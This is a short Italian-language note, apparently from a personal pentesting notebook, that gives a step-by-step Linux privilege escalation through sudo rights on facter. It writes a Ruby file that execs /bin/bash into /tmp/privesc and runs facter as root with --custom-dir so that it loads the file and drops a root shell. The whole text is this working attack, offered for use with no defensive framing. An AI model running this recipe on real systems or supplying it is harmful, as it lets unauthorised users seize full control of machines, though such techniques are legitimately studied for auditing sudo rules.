tags: facter_SUDO Permessi_SUDO privilage_escalation Linux_Privilage_Escalation


Crea una cartella temporanea in cui hai i permessi di scrittura:

mkdir /tmp/privesc

Crea uno script Ruby all’interno di quella cartella, questo script dovrà semplicemente dire a Ruby di lanciare una shell di sistema:

echo 'exec "/bin/bash"' > /tmp/privesc/root.rb

Esegui facter con sudo indicandogli la tua cartella personalizzata:

sudo facter --custom-dir=/tmp/privesc

Quando eseguirai questo comando, facter (che in quel momento sta girando come root) andrà a cercare nella cartella /tmp/privesc, troverà il tuo file root.rb, lo eseguirà e ti rilascerà immediatamente una shell con privilegi massimi (#).